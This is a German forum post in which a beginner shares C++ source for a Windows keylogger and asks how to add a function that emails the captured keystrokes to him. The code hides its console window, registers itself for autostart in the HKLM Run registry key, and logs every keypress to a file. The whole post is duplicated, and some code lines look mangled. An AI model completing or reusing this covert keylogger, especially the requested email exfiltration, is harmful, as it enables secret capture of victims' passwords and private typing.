J
jakobbo
Neues Mitglied
- Dabei seit
- 27.08.2008
- Beiträge
- 3
- Reaktionspunkte
- 0
Hi @ all
Ich bin schon seit paar Tagen dabei mir ein Keylogger zu schreiben in C++
Bin noch nicht so gut in C++ wollt mal fragen ob ich denn keylooger so schreiben kann
Nunja was ich habe ist dies
all : Keylog.exe
Keylog.exe : Keylog.cpp
clean :
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == VK_ESCAPE)
KeyString = "[ESC]";
else if (Key == VK_END)
KeyString = "[ENDE]";
else if (Key == VK_LWIN)
KeyString = "[WINDOWS]";
else if (Key == VK_RWIN)
KeyString = "[WINDOWS]";
else if (Key == VK_F1)
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_INSERT)
KeyString = "[EINFG]";
else if (Key == VK_PRIOR)
KeyString = "[BILD AUF]";
else if (Key == VK_NEXT)
KeyString = "[BILD AB]";
else if (Key == 13)
KeyString = "\n";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[FESTSTELL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[STRG]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LINKS]";
else if (Key == VK_RIGHT)
KeyString = "[RECHTS]";
else if (Key == VK_UP)
KeyString = "[HOCH]";
else if (Key == VK_DOWN)
KeyString = "[RUNTER]";
else if (Key == VK_PRINT)
KeyString = "[DRUCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int main()
{
// Fenster Verstecken
HWND keylog;
keylog=FindWindow("ConsoleWindowClass", NULL);
ShowWindow(keylog, SW_HIDE);
//Autostart eintrag in der Registry
HKEY hkey;
HKEY KEY = HKEY_LOCAL_MACHINE;
char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
char name[100]= {"keylog"};
char value[100]= {"C:\\Dokumente und Einstellungen\\Administrator\\Desktop\\test\\keylog.exe"};
RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
RegCloseKey(hkey);
std::string Filename = "log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);
}
}
}
}
Zum goßem teil ist er selbst geschrieben paar codes habe ich ausm inet
Was mir noch fehlt ist halt die email funktion
Damit die eingetippten sachen per mail kommen
Könnt ihr mir weiter helfen ??
ps: sry wenn es im falschem berreicht gepostet ist
Ich bin schon seit paar Tagen dabei mir ein Keylogger zu schreiben in C++
Bin noch nicht so gut in C++ wollt mal fragen ob ich denn keylooger so schreiben kann
Nunja was ich habe ist dies
all : Keylog.exe
Keylog.exe : Keylog.cpp
clean :
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == VK_ESCAPE)
KeyString = "[ESC]";
else if (Key == VK_END)
KeyString = "[ENDE]";
else if (Key == VK_LWIN)
KeyString = "[WINDOWS]";
else if (Key == VK_RWIN)
KeyString = "[WINDOWS]";
else if (Key == VK_F1)
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_INSERT)
KeyString = "[EINFG]";
else if (Key == VK_PRIOR)
KeyString = "[BILD AUF]";
else if (Key == VK_NEXT)
KeyString = "[BILD AB]";
else if (Key == 13)
KeyString = "\n";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[FESTSTELL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[STRG]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LINKS]";
else if (Key == VK_RIGHT)
KeyString = "[RECHTS]";
else if (Key == VK_UP)
KeyString = "[HOCH]";
else if (Key == VK_DOWN)
KeyString = "[RUNTER]";
else if (Key == VK_PRINT)
KeyString = "[DRUCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int main()
{
// Fenster Verstecken
HWND keylog;
keylog=FindWindow("ConsoleWindowClass", NULL);
ShowWindow(keylog, SW_HIDE);
//Autostart eintrag in der Registry
HKEY hkey;
HKEY KEY = HKEY_LOCAL_MACHINE;
char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
char name[100]= {"keylog"};
char value[100]= {"C:\\Dokumente und Einstellungen\\Administrator\\Desktop\\test\\keylog.exe"};
RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
RegCloseKey(hkey);
std::string Filename = "log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream:ut | std::fstream::app);
}
}
}
}
Zum goßem teil ist er selbst geschrieben paar codes habe ich ausm inet
Was mir noch fehlt ist halt die email funktion
Damit die eingetippten sachen per mail kommen
Könnt ihr mir weiter helfen ??
ps: sry wenn es im falschem berreicht gepostet ist